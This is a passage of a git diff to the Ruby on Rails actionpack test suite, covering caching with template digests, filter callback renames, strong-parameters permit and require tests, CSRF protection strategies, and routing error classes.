+ assert_deprecated 'dom_class method will no longer' do
+ dom_class = RecordIdentifierController.new.dom_class(record)
+ end
+ assert_equal 'comment', dom_class
+ end
+
+ def test_no_deprecation_when_action_view_record_identifier_is_included
+ record = Comment.new
+ record.save
+
+ dom_id = nil
+ assert_not_deprecated do
+ dom_id = RecordIdentifierWithoutDeprecationController.new.dom_id(record)
+ end
+
+ assert_equal 'comment_1', dom_id
+
+ dom_class = nil
+ assert_not_deprecated do
+ dom_class = RecordIdentifierWithoutDeprecationController.new.dom_class(record)
+ end
+ assert_equal 'comment', dom_class
+ end
end
class ControllerInstanceTests < ActiveSupport::TestCase
diff --git a/actionpack/test/controller/caching_test.rb b/actionpack/test/controller/caching_test.rb
index 0efba5b77f..620479cb0c 100644
--- a/actionpack/test/controller/caching_test.rb
+++ b/actionpack/test/controller/caching_test.rb
@@ -5,6 +5,43 @@ require 'active_record_unit'
CACHE_DIR = 'test_cache'
# Don't change '/../temp/' cavalierly or you might hose something you don't want hosed
FILE_STORE_PATH = File.join(File.dirname(__FILE__), '/../temp/', CACHE_DIR)
+
+class CachingMetalController < ActionController::Metal
+ abstract!
+
+ include ActionController::Caching
+
+ self.page_cache_directory = FILE_STORE_PATH
+ self.cache_store = :file_store, FILE_STORE_PATH
+end
+
+class PageCachingMetalTestController < CachingMetalController
+ caches_page :ok
+
+ def ok
+ self.response_body = 'ok'
+ end
+end
+
+class PageCachingMetalTest < ActionController::TestCase
+ tests PageCachingMetalTestController
+
+ def setup
+ FileUtils.rm_rf(File.dirname(FILE_STORE_PATH))
+ FileUtils.mkdir_p(FILE_STORE_PATH)
+ end
+
+ def teardown
+ FileUtils.rm_rf(File.dirname(FILE_STORE_PATH))
+ end
+
+ def test_should_cache_get_with_ok_status
+ get :ok
+ assert_response :ok
+ assert File.exist?("#{FILE_STORE_PATH}/page_caching_metal_test/ok.html"), 'get with ok status should have been cached'
+ end
+end
+
ActionController::Base.page_cache_directory = FILE_STORE_PATH
class CachingController < ActionController::Base
@@ -854,14 +891,17 @@ Ciao
CACHED
assert_equal expected_body, @response.body
- assert_equal "This bit's fragment cached", @store.read('views/test.host/functional_caching/fragment_cached')
+ assert_equal "This bit's fragment cached",
+ @store.read("views/test.host/functional_caching/fragment_cached/#{template_digest("functional_caching/fragment_cached", "html")}")
end
def test_fragment_caching_in_partials
get :html_fragment_cached_with_partial
assert_response :success
assert_match(/Old fragment caching in a partial/, @response.body)
- assert_match("Old fragment caching in a partial", @store.read('views/test.host/functional_caching/html_fragment_cached_with_partial'))
+
+ assert_match("Old fragment caching in a partial",
+ @store.read("views/test.host/functional_caching/html_fragment_cached_with_partial/#{template_digest("functional_caching/_partial", "html")}"))
end
def test_render_inline_before_fragment_caching
@@ -869,7 +909,8 @@ CACHED
assert_response :success
assert_match(/Some inline content/, @response.body)
assert_match(/Some cached content/, @response.body)
- assert_match("Some cached content", @store.read('views/test.host/functional_caching/inline_fragment_cached'))
+ assert_match("Some cached content",
+ @store.read("views/test.host/functional_caching/inline_fragment_cached/#{template_digest("functional_caching/inline_fragment_cached", "html")}"))
end
def test_html_formatted_fragment_caching
@@ -879,7 +920,8 @@ CACHED
assert_equal expected_body, @response.body
- assert_equal "<p>ERB</p>", @store.read('views/test.host/functional_caching/formatted_fragment_cached')
+ assert_equal "<p>ERB</p>",
+ @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached", "html")}")
end
def test_xml_formatted_fragment_caching
@@ -889,8 +931,14 @@ CACHED
assert_equal expected_body, @response.body
- assert_equal " <p>Builder</p>\n", @store.read('views/test.host/functional_caching/formatted_fragment_cached')
+ assert_equal " <p>Builder</p>\n",
+ @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached", "xml")}")
end
+
+ private
+ def template_digest(name, format)
+ ActionView::Digestor.digest(name, format, @controller.lookup_context)
+ end
end
class CacheHelperOutputBufferTest < ActionController::TestCase
@@ -938,5 +986,5 @@ class CacheHelperOutputBufferTest < ActionController::TestCase
cache_helper.send :fragment_for, 'Test fragment name', 'Test fragment', &Proc.new{ nil }
end
end
-
end
+
diff --git a/actionpack/test/controller/filters_test.rb b/actionpack/test/controller/filters_test.rb
index afc00a3c9d..d203601771 100644
--- a/actionpack/test/controller/filters_test.rb
+++ b/actionpack/test/controller/filters_test.rb
@@ -193,7 +193,7 @@ class FilterTest < ActionController::TestCase
end
class ConditionalClassFilter
- def self.filter(controller) controller.instance_variable_set(:"@ran_class_filter", true) end
+ def self.before(controller) controller.instance_variable_set(:"@ran_class_filter", true) end
end
class OnlyConditionClassController < ConditionalFilterController
@@ -309,7 +309,7 @@ class FilterTest < ActionController::TestCase
end
class AuditFilter
- def self.filter(controller)
+ def self.before(controller)
controller.instance_variable_set(:"@was_audited", true)
end
end
@@ -449,7 +449,7 @@ class FilterTest < ActionController::TestCase
class ErrorToRescue < Exception; end
class RescuingAroundFilterWithBlock
- def filter(controller)
+ def around(controller)
begin
yield
rescue ErrorToRescue => ex
@@ -894,7 +894,7 @@ end
class ControllerWithFilterClass < PostsController
class YieldingFilter < DefaultFilter
- def self.filter(controller)
+ def self.around(controller)
yield
raise After
end
@@ -905,7 +905,7 @@ end
class ControllerWithFilterInstance < PostsController
class YieldingFilter < DefaultFilter
- def filter(controller)
+ def around(controller)
yield
raise After
end
@@ -916,13 +916,13 @@ end
class ControllerWithFilterMethod < PostsController
class YieldingFilter < DefaultFilter
- def filter(controller)
+ def around(controller)
yield
raise After
end
end
- around_filter YieldingFilter.new.method(:filter), :only => :raises_after
+ around_filter YieldingFilter.new.method(:around), :only => :raises_after
end
class ControllerWithProcFilter < PostsController
diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb
index f18bf33969..cf561d913a 100644
--- a/actionpack/test/controller/integration_test.rb
+++ b/actionpack/test/controller/integration_test.rb
@@ -1,6 +1,6 @@
require 'abstract_unit'
require 'controller/fake_controllers'
-require 'action_controller/vendor/html-scanner'
+require 'action_view/vendor/html-scanner'
class SessionTest < ActiveSupport::TestCase
StubApp = lambda { |env|
diff --git a/actionpack/test/controller/log_subscriber_test.rb b/actionpack/test/controller/log_subscriber_test.rb
index 700fd788fa..a72b6dde1a 100644
--- a/actionpack/test/controller/log_subscriber_test.rb
+++ b/actionpack/test/controller/log_subscriber_test.rb
@@ -54,6 +54,10 @@ module Another
def with_rescued_exception
raise SpecialException
end
+
+ def with_action_not_found
+ raise AbstractController::ActionNotFound
+ end
end
end
@@ -225,6 +229,17 @@ class ACLogSubscriberTest < ActionController::TestCase
assert_match(/Completed 406/, logs.last)
end
+ def test_process_action_with_with_action_not_found_logs_404
+ begin
+ get :with_action_not_found
+ wait
+ rescue AbstractController::ActionNotFound
+ end
+
+ assert_equal 2, logs.size
+ assert_match(/Completed 404/, logs.last)
+ end
+
def logs
@logs ||= @logger.logged(:info)
end
diff --git a/actionpack/test/controller/new_base/render_streaming_test.rb b/actionpack/test/controller/new_base/render_streaming_test.rb
index bfca8c5c24..f4bdd3e1d4 100644
--- a/actionpack/test/controller/new_base/render_streaming_test.rb
+++ b/actionpack/test/controller/new_base/render_streaming_test.rb
@@ -85,7 +85,7 @@ module RenderStreaming
test "rendering with template exception logs the exception" do
io = StringIO.new
- _old, ActionController::Base.logger = ActionController::Base.logger, ActiveSupport::Logger.new(io)
+ _old, ActionView::Base.logger = ActionView::Base.logger, ActiveSupport::Logger.new(io)
begin
get "/render_streaming/basic/template_exception"
diff --git a/actionpack/test/controller/parameters/nested_parameters_test.rb b/actionpack/test/controller/parameters/nested_parameters_test.rb
new file mode 100644
index 0000000000..41f5b6e127
--- /dev/null
+++ b/actionpack/test/controller/parameters/nested_parameters_test.rb
@@ -0,0 +1,113 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+
+class NestedParametersTest < ActiveSupport::TestCase
+ test "permitted nested parameters" do
+ params = ActionController::Parameters.new({
+ book: {
+ title: "Romeo and Juliet",
+ authors: [{
+ name: "William Shakespeare",
+ born: "1564-04-26"
+ }, {
+ name: "Christopher Marlowe"
+ }],
+ details: {
+ pages: 200,
+ genre: "Tragedy"
+ }
+ },
+ magazine: "Mjallo!"
+ })
+
+ permitted = params.permit book: [ :title, { authors: [ :name ] }, { details: :pages } ]
+
+ assert permitted.permitted?
+ assert_equal "Romeo and Juliet", permitted[:book][:title]
+ assert_equal "William Shakespeare", permitted[:book][:authors][0][:name]
+ assert_equal "Christopher Marlowe", permitted[:book][:authors][1][:name]
+ assert_equal 200, permitted[:book][:details][:pages]
+ assert_nil permitted[:book][:details][:genre]
+ assert_nil permitted[:book][:authors][0][:born]
+ assert_nil permitted[:magazine]
+ end
+
+ test "nested arrays with strings" do
+ params = ActionController::Parameters.new({
+ :book => {
+ :genres => ["Tragedy"]
+ }
+ })
+
+ permitted = params.permit :book => :genres
+ assert_equal ["Tragedy"], permitted[:book][:genres]
+ end
+
+ test "permit may specify symbols or strings" do
+ params = ActionController::Parameters.new({
+ :book => {
+ :title => "Romeo and Juliet",
+ :author => "William Shakespeare"
+ },
+ :magazine => "Shakespeare Today"
+ })
+
+ permitted = params.permit({:book => ["title", :author]}, "magazine")
+ assert_equal "Romeo and Juliet", permitted[:book][:title]
+ assert_equal "William Shakespeare", permitted[:book][:author]
+ assert_equal "Shakespeare Today", permitted[:magazine]
+ end
+
+ test "nested array with strings that should be hashes" do
+ params = ActionController::Parameters.new({
+ book: {
+ genres: ["Tragedy"]
+ }
+ })
+
+ permitted = params.permit book: { genres: :type }
+ assert_empty permitted[:book][:genres]
+ end
+
+ test "nested array with strings that should be hashes and additional values" do
+ params = ActionController::Parameters.new({
+ book: {
+ title: "Romeo and Juliet",
+ genres: ["Tragedy"]
+ }
+ })
+
+ permitted = params.permit book: [ :title, { genres: :type } ]
+ assert_equal "Romeo and Juliet", permitted[:book][:title]
+ assert_empty permitted[:book][:genres]
+ end
+
+ test "nested string that should be a hash" do
+ params = ActionController::Parameters.new({
+ book: {
+ genre: "Tragedy"
+ }
+ })
+
+ permitted = params.permit book: { genre: :type }
+ assert_nil permitted[:book][:genre]
+ end
+
+ test "fields_for-style nested params" do
+ params = ActionController::Parameters.new({
+ book: {
+ authors_attributes: {
+ :'0' => { name: 'William Shakespeare', age_of_death: '52' },
+ :'-1' => { name: 'Unattributed Assistant' }
+ }
+ }
+ })
+ permitted = params.permit book: { authors_attributes: [ :name ] }
+
+ assert_not_nil permitted[:book][:authors_attributes]['0']
+ assert_not_nil permitted[:book][:authors_attributes]['-1']
+ assert_nil permitted[:book][:authors_attributes]['0'][:age_of_death]
+ assert_equal 'William Shakespeare', permitted[:book][:authors_attributes]['0'][:name]
+ assert_equal 'Unattributed Assistant', permitted[:book][:authors_attributes]['-1'][:name]
+ end
+end
diff --git a/actionpack/test/controller/parameters/parameters_permit_test.rb b/actionpack/test/controller/parameters/parameters_permit_test.rb
new file mode 100644
index 0000000000..7fe8e6051b
--- /dev/null
+++ b/actionpack/test/controller/parameters/parameters_permit_test.rb
@@ -0,0 +1,73 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+
+class ParametersPermitTest < ActiveSupport::TestCase
+ setup do
+ @params = ActionController::Parameters.new({ person: {
+ age: "32", name: { first: "David", last: "Heinemeier Hansson" }
+ }})
+ end
+
+ test "fetch raises ParameterMissing exception" do
+ e = assert_raises(ActionController::ParameterMissing) do
+ @params.fetch :foo
+ end
+ assert_equal :foo, e.param
+ end
+
+ test "fetch doesnt raise ParameterMissing exception if there is a default" do
+ assert_equal "monkey", @params.fetch(:foo, "monkey")
+ assert_equal "monkey", @params.fetch(:foo) { "monkey" }
+ end
+
+ test "permitted is sticky on accessors" do
+ assert !@params.slice(:person).permitted?
+ assert !@params[:person][:name].permitted?
+
+ @params.each { |key, value| assert(value.permitted?) if key == :person }
+
+ assert !@params.fetch(:person).permitted?
+
+ assert !@params.values_at(:person).first.permitted?
+ end
+
+ test "permitted is sticky on mutators" do
+ assert !@params.delete_if { |k| k == :person }.permitted?
+ assert !@params.keep_if { |k,v| k == :person }.permitted?
+ end
+
+ test "permitted is sticky beyond merges" do
+ assert !@params.merge(a: "b").permitted?
+ end
+
+ test "modifying the parameters" do
+ @params[:person][:hometown] = "Chicago"
+ @params[:person][:family] = { brother: "Jonas" }
+
+ assert_equal "Chicago", @params[:person][:hometown]
+ assert_equal "Jonas", @params[:person][:family][:brother]
+ end
+
+ test "permitting parameters that are not there should not include the keys" do
+ assert !@params.permit(:person, :funky).has_key?(:funky)
+ end
+
+ test "permit state is kept on a dup" do
+ @params.permit!
+ assert_equal @params.permitted?, @params.dup.permitted?
+ end
+
+ test "permitted takes a default value when Parameters.permit_all_parameters is set" do
+ begin
+ ActionController::Parameters.permit_all_parameters = true
+ params = ActionController::Parameters.new({ person: {
+ age: "32", name: { first: "David", last: "Heinemeier Hansson" }
+ }})
+
+ assert params.slice(:person).permitted?
+ assert params[:person][:name].permitted?
+ ensure
+ ActionController::Parameters.permit_all_parameters = false
+ end
+ end
+end
diff --git a/actionpack/test/controller/parameters/parameters_require_test.rb b/actionpack/test/controller/parameters/parameters_require_test.rb
new file mode 100644
index 0000000000..bdaba8d2d8
--- /dev/null
+++ b/actionpack/test/controller/parameters/parameters_require_test.rb
@@ -0,0 +1,10 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+
+class ParametersRequireTest < ActiveSupport::TestCase
+ test "required parameters must be present not merely not nil" do
+ assert_raises(ActionController::ParameterMissing) do
+ ActionController::Parameters.new(person: {}).require(:person)
+ end
+ end
+end
diff --git a/actionpack/test/controller/params_wrapper_test.rb b/actionpack/test/controller/params_wrapper_test.rb
index 5b05f77045..209f021cf7 100644
--- a/actionpack/test/controller/params_wrapper_test.rb
+++ b/actionpack/test/controller/params_wrapper_test.rb
@@ -155,7 +155,6 @@ class ParamsWrapperTest < ActionController::TestCase
end
def test_derived_wrapped_keys_from_matching_model
- User.expects(:respond_to?).with(:accessible_attributes).returns(false)
User.expects(:respond_to?).with(:attribute_names).returns(true)
User.expects(:attribute_names).twice.returns(["username"])
@@ -168,7 +167,6 @@ class ParamsWrapperTest < ActionController::TestCase
def test_derived_wrapped_keys_from_specified_model
with_default_wrapper_options do
- Person.expects(:respond_to?).with(:accessible_attributes).returns(false)
Person.expects(:respond_to?).with(:attribute_names).returns(true)
Person.expects(:attribute_names).twice.returns(["username"])
@@ -179,46 +177,8 @@ class ParamsWrapperTest < ActionController::TestCase
assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'person' => { 'username' => 'sikachu' }})
end
end
-
- def test_accessible_wrapped_keys_from_matching_model
- User.expects(:respond_to?).with(:accessible_attributes).returns(true)
- User.expects(:accessible_attributes).with(:default).twice.returns(["username"])
-
- with_default_wrapper_options do
- @request.env['CONTENT_TYPE'] = 'application/json'
- post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
- assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu' }})
- end
- end
-
- def test_accessible_wrapped_keys_from_specified_model
- with_default_wrapper_options do
- Person.expects(:respond_to?).with(:accessible_attributes).returns(true)
- Person.expects(:accessible_attributes).with(:default).twice.returns(["username"])
-
- UsersController.wrap_parameters Person
-
- @request.env['CONTENT_TYPE'] = 'application/json'
- post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
- assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'person' => { 'username' => 'sikachu' }})
- end
- end
-
- def test_accessible_wrapped_keys_with_role_from_specified_model
- with_default_wrapper_options do
- Person.expects(:respond_to?).with(:accessible_attributes).returns(true)
- Person.expects(:accessible_attributes).with(:admin).twice.returns(["username"])
-
- UsersController.wrap_parameters Person, :as => :admin
-
- @request.env['CONTENT_TYPE'] = 'application/json'
- post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
- assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'person' => { 'username' => 'sikachu' }})
- end
- end
def test_not_wrapping_abstract_model
- User.expects(:respond_to?).with(:accessible_attributes).returns(false)
User.expects(:respond_to?).with(:attribute_names).returns(true)
User.expects(:attribute_names).returns([])
diff --git a/actionpack/test/controller/permitted_params_test.rb b/actionpack/test/controller/permitted_params_test.rb
new file mode 100644
index 0000000000..f46249d712
--- /dev/null
+++ b/actionpack/test/controller/permitted_params_test.rb
@@ -0,0 +1,25 @@
+require 'abstract_unit'
+
+class PeopleController < ActionController::Base
+ def create
+ render text: params[:person].permitted? ? "permitted" : "forbidden"
+ end
+
+ def create_with_permit
+ render text: params[:person].permit(:name).permitted? ? "permitted" : "forbidden"
+ end
+end
+
+class ActionControllerPermittedParamsTest < ActionController::TestCase
+ tests PeopleController
+
+ test "parameters are forbidden" do
+ post :create, { person: { name: "Mjallo!" } }
+ assert_equal "forbidden", response.body
+ end
+
+ test "parameters can be permitted and are then not forbidden" do
+ post :create_with_permit, { person: { name: "Mjallo!" } }
+ assert_equal "permitted", response.body
+ end
+end
diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb
index 3f047fc9b5..fd8f87e377 100644
--- a/actionpack/test/controller/render_test.rb
+++ b/actionpack/test/controller/render_test.rb
@@ -22,6 +22,18 @@ module Quiz
end
end
+class TestControllerWithExtraEtags < ActionController::Base
+ etag { nil }
+ etag { 'ab' }
+ etag { :cde }
+ etag { [:f] }
+ etag { nil }
+
+ def fresh
+ render text: "stale" if stale?(etag: '123')
+ end
+end
+
class TestController < ActionController::Base
protect_from_forgery
@@ -1626,6 +1638,26 @@ class LastModifiedRenderTest < ActionController::TestCase
end
end
+class EtagRenderTest < ActionController::TestCase
+ tests TestControllerWithExtraEtags
+
+ def setup
+ super
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_multiple_etags
+ @request.if_none_match = %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key([ "123", 'ab', :cde, [:f] ]))}")
+ get :fresh
+ assert_response :not_modified
+
+ @request.if_none_match = %("nomatch")
+ get :fresh
+ assert_response :success
+ end
+end
+
+
class MetalRenderTest < ActionController::TestCase
tests MetalTestController
diff --git a/actionpack/test/controller/request_forgery_protection_test.rb b/actionpack/test/controller/request_forgery_protection_test.rb
index 0289f4070b..1f637eb791 100644
--- a/actionpack/test/controller/request_forgery_protection_test.rb
+++ b/actionpack/test/controller/request_forgery_protection_test.rb
@@ -56,22 +56,18 @@ module RequestForgeryProtectionActions
end
# sample controllers
-class RequestForgeryProtectionController < ActionController::Base
+class RequestForgeryProtectionControllerUsingResetSession < ActionController::Base
include RequestForgeryProtectionActions
- protect_from_forgery :only => %w(index meta)
+ protect_from_forgery :only => %w(index meta), :with => :reset_session
end
class RequestForgeryProtectionControllerUsingException < ActionController::Base
include RequestForgeryProtectionActions
- protect_from_forgery :only => %w(index meta)
-
- def handle_unverified_request
- raise(ActionController::InvalidAuthenticityToken)
- end
+ protect_from_forgery :only => %w(index meta), :with => :exception
end
-class FreeCookieController < RequestForgeryProtectionController
+class FreeCookieController < RequestForgeryProtectionControllerUsingResetSession
self.allow_forgery_protection = false
def index
@@ -83,7 +79,7 @@ class FreeCookieController < RequestForgeryProtectionController
end
end
-class CustomAuthenticityParamController < RequestForgeryProtectionController
+class CustomAuthenticityParamController < RequestForgeryProtectionControllerUsingResetSession
def form_authenticity_param
'foobar'
end
@@ -268,7 +264,7 @@ end
# OK let's get our test on
-class RequestForgeryProtectionControllerTest < ActionController::TestCase
+class RequestForgeryProtectionControllerUsingResetSessionTest < ActionController::TestCase
include RequestForgeryProtectionTests
setup do
diff --git a/actionpack/test/controller/required_params_test.rb b/actionpack/test/controller/required_params_test.rb
new file mode 100644
index 0000000000..661bcb3945
--- /dev/null
+++ b/actionpack/test/controller/required_params_test.rb
@@ -0,0 +1,30 @@
+require 'abstract_unit'
+
+class BooksController < ActionController::Base
+ def create
+ params.require(:book).require(:name)
+ head :ok
+ end
+end
+
+class ActionControllerRequiredParamsTest < ActionController::TestCase
+ tests BooksController
+
+ test "missing required parameters will raise exception" do
+ post :create, { magazine: { name: "Mjallo!" } }
+ assert_response :bad_request
+
+ post :create, { book: { title: "Mjallo!" } }
+ assert_response :bad_request
+ end
+
+ test "required parameters that are present will not raise" do
+ post :create, { book: { name: "Mjallo!" } }
+ assert_response :ok
+ end
+
+ test "missing parameters will be mentioned in the return" do
+ post :create, { magazine: { name: "Mjallo!" } }
+ assert_equal "Required parameter missing: book", response.body
+ end
+end
diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb
index 6cc1370105..f0430e516f 100644
--- a/actionpack/test/controller/routing_test.rb
+++ b/actionpack/test/controller/routing_test.rb
@@ -197,7 +197,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
end
def test_regexp_precidence
- @rs.draw do
+ rs.draw do
get '/whois/:domain', :constraints => {
:domain => /\w+\.[\w\.]+/ },
:to => lambda { |env| [200, {}, %w{regexp}] }
@@ -216,7 +216,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
end
}
- @rs.draw do
+ rs.draw do
get '/', :constraints => subdomain.new,
:to => lambda { |env| [200, {}, %w{default}] }
get '/', :constraints => { :subdomain => 'clients' },
@@ -228,7 +228,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
end
def test_lambda_constraints
- @rs.draw do
+ rs.draw do
get '/', :constraints => lambda { |req|
req.subdomain.present? and req.subdomain != "clients" },
:to => lambda { |env| [200, {}, %w{default}] }
@@ -266,22 +266,22 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
def test_draw_with_block_arity_one_raises
assert_raise(RuntimeError) do
- @rs.draw { |map| map.match '/:controller(/:action(/:id))' }
+ rs.draw { |map| map.match '/:controller(/:action(/:id))' }
end
end
def test_specific_controller_action_failure
- @rs.draw do
+ rs.draw do
mount lambda {} => "/foo"
end
- assert_raises(ActionController::RoutingError) do
- url_for(@rs, :controller => "omg", :action => "lol")
+ assert_raises(ActionController::UrlGenerationError) do
+ url_for(rs, :controller => "omg", :action => "lol")
end
end
def test_default_setup
- @rs.draw { get '/:controller(/:action(/:id))' }
+ rs.draw { get '/:controller(/:action(/:id))' }
assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/content"))
assert_equal({:controller => "content", :action => 'list'}, rs.recognize_path("/content/list"))
assert_equal({:controller => "content", :action => 'show', :id => '10'}, rs.recognize_path("/content/show/10"))
@@ -298,8 +298,8 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
end
def test_ignores_leading_slash
- @rs.clear!
- @rs.draw { get '/:controller(/:action(/:id))'}
+ rs.clear!
+ rs.draw { get '/:controller(/:action(/:id))'}
test_default_setup
end
@@ -470,7 +470,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
end
def test_changing_controller
- @rs.draw { get ':controller/:action/:id' }
+ rs.draw { get ':controller/:action/:id' }
assert_equal '/admin/stuff/show/10',
url_for(rs, {:controller => 'stuff', :action => 'show', :id => 10},
@@ -514,7 +514,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
rs.draw do
get 'post/:id' => 'post#show', :constraints => { :id => /\d+/ }, :as => 'post'
end
- assert_raise(ActionController::RoutingError) do
+ assert_raise(ActionController::UrlGenerationError) do
url_for(rs, { :controller => 'post', :action => 'show', :bad_param => "foo", :use_route => "post" })
end
end
@@ -583,7 +583,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
end
def test_action_expiry
- @rs.draw { get ':controller(/:action(/:id))' }
+ rs.draw { get ':controller(/:action(/:id))' }
assert_equal '/content', url_for(rs, { :controller => 'content' }, { :controller => 'content', :action => 'show' })
end
@@ -594,7 +594,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
assert_equal '/post/10', url_for(rs, { :controller => 'post', :action => 'show', :id => 10 })
- assert_raise ActionController::RoutingError do
+ assert_raise(ActionController::UrlGenerationError) do
url_for(rs, { :controller => 'post', :action => 'show' })
end
end
@@ -760,7 +760,7 @@ class LegacyRouteSetTests < ActiveSupport::TestCase
get 'foos/:id' => 'foos#show', :as => 'foo_with_requirement', :constraints => { :id => /\d+/ }
end
- assert_raise(ActionController::RoutingError) do
+ assert_raise(ActionController::UrlGenerationError) do
setup_for_named_route.send(:foo_with_requirement_url, "I am Against the constraints")
end
end
@@ -1051,7 +1051,7 @@ class RouteSetTest < ActiveSupport::TestCase
set.draw do
get "/people" => "missing#index"
end
-
+
assert_raise(ActionController::RoutingError) {
set.recognize_path("/people", :method => :get)
}
@@ -1459,7 +1459,7 @@ class RouteSetTest < ActiveSupport::TestCase
url = url_for(set, { :controller => 'pages', :action => 'show', :name => 'david' })
assert_equal "/page/david", url
- assert_raise ActionController::RoutingError do
+ assert_raise(ActionController::UrlGenerationError) do
url_for(set, { :controller => 'pages', :action => 'show', :name => 'davidjamis' })
end
url = url_for(set, { :controller => 'pages', :action => 'show', :name => 'JAMIS' })
diff --git a/actionpack/test/controller/selector_test.rb b/actionpack/test/controller/selector_test.rb
index 5e302da212..1e80c8601c 100644
--- a/actionpack/test/controller/selector_test.rb
+++ b/actionpack/test/controller/selector_test.rb
@@ -5,7 +5,7 @@
require 'abstract_unit'
require 'controller/fake_controllers'
-require 'action_controller/vendor/html-scanner'
+require 'action_view/vendor/html-scanner'
class SelectorTest < ActiveSupport::TestCase
#
diff --git a/actionpack/test/controller/spec_style_test.rb b/actionpack/test/controller/spec_style_test.rb
new file mode 100644
index 0000000000..e118c584ca
--- /dev/null
+++ b/actionpack/test/controller/spec_style_test.rb
@@ -0,0 +1,208 @@
+require "abstract_unit"
+
+class ApplicationController < ActionController::Base; end
+class ModelsController < ApplicationController; end
+module Admin
+ class WidgetsController < ApplicationController; end
+end
+
+# ApplicationController
+describe ApplicationController do
+ describe "nested" do
+ describe "even deeper" do
+ it "exists" do
+ assert_kind_of ApplicationController, @controller
+ end
+ end
+ end
+end
+
+describe ApplicationController, :index do
+ describe "nested" do
+ describe "even deeper" do
+ it "exists" do
+ assert_kind_of ApplicationController, @controller
+ end
+ end
+ end
+end
+
+describe ApplicationController, "unauthenticated user" do
+ describe "nested" do
+ describe "even deeper" do
+ it "exists" do
+ assert_kind_of ApplicationController, @controller
+ end
+ end
+ end
+end
+
+describe "ApplicationControllerTest" do
+ describe "nested" do
+ describe "even deeper" do
+ it "exists" do
+ assert_kind_of ApplicationController, @controller
+ end
+ end
+ end
+end
+
+describe "ApplicationControllerTest", :index do
+ describe "nested" do
+ describe "even deeper" do
+ it "exists" do
+ assert_kind_of ApplicationController, @controller
+ end
+ end
+ end
+end
+
+describe "ApplicationControllerTest", "unauthenticated user" do
+ describe "nested" do
+ describe "even deeper" do
+ it "exists" do
+ assert_kind_of ApplicationController, @controller
+ end
+ end
+ end
+end
+
+# ModelsController
+describe ModelsController do
+ describe "nested" do
+ describe "even deeper" do
+ it "exists" do
+ assert_kind_of ModelsController, @controller
+ end
+ end
+ end
+end
+
+describe ModelsController, :index do
+ describe "nested" do
+ describe "even deeper" do
+ it "exists" do
+ assert_kind_of ModelsController, @controller
+ end
+ end
+ end
+end
+
+describe ModelsController, "unauthenticated user" do
+ describe "nested" do
+ describe "even deeper" do
+ it "exists" do
+ assert_kind_of ModelsController, @controller
+ end
+ end
+ end
+end
+
+describe "ModelsControllerTest" do
+ describe "nested" do
+ describe "even deeper" do
+ it "exists" do
+ assert_kind_of ModelsController, @controller
+ end
+ end
+ end
+end
+
+describe "ModelsControllerTest", :index do
+ describe "nested" do
+ describe "even deeper" do
+ it "exists" do
+ assert_kind_of ModelsController, @controller
+ end
+ end
+ end
+end
+
+describe "ModelsControllerTest", "unauthenticated user" do
+ describe "nested" do
+ describe "even deeper" do
+ it "exists" do
+ assert_kind_of ModelsController, @controller
+ end
+ end
+ end
+end
+
+# Nested Admin::WidgetsControllerTest
+module Admin
+ class WidgetsControllerTest < ActionController::TestCase
+ test "exists" do
+ assert_kind_of Admin::WidgetsController, @controller
+ end
+ end
+
+ describe WidgetsController do
+ describe "index" do
+ it "respond successful" do
+ assert_kind_of Admin::WidgetsController, @controller
+ end
+ end
+ end
+
+ describe WidgetsController, "unauthenticated users" do
+ describe "index" do
+ it "respond successful" do
+ assert_kind_of Admin::WidgetsController, @controller
+ end
+ end
+ end
+end
+
+class Admin::WidgetsControllerTest < ActionController::TestCase
+ test "exists here too" do
+ assert_kind_of Admin::WidgetsController, @controller
+ end
+end
+
+describe Admin::WidgetsController do
+ describe "index" do
+ it "respond successful" do
+ assert_kind_of Admin::WidgetsController, @controller
+ end
+ end
+end
+
+describe Admin::WidgetsController, "unauthenticated users" do
+ describe "index" do
+ it "respond successful" do
+ assert_kind_of Admin::WidgetsController, @controller
+ end
+ end
+end
+
+describe "Admin::WidgetsController" do
+ describe "index" do
+ it "respond successful" do
+ assert_kind_of Admin::WidgetsController, @controller
+ end
+ end
+end
+
+describe "Admin::WidgetsControllerTest" do
+ describe "index" do
+ it "respond successful" do
+ assert_kind_of Admin::WidgetsController, @controller
+ end
+ end
+end
+
+describe "Admin::WidgetsController", "unauthenticated users" do
+ describe "index" do
+ it "respond successful" do
+ assert_kind_of Admin::WidgetsController, @controller
+ end
+ end
+end
+
+describe "Admin::WidgetsControllerTest", "unauthenticated users" do
+ describe "index" do
+ it "respond successful" do
+ assert_kind_of Admin::WidgetsController, @controller
+ end
+ end
+end
diff --git a/actionpack/test/controller/spec_type_test.rb b/actionpack/test/controller/spec_type_test.rb
new file mode 100644
index 0000000000..13be8a3405
--- /dev/null
+++ b/actionpack/test/controller/spec_type_test.rb
@@ -0,0 +1,37 @@
+require "abstract_unit"
+
+class ApplicationController < ActionController::Base; end
+class ModelsController < ApplicationController; end
+
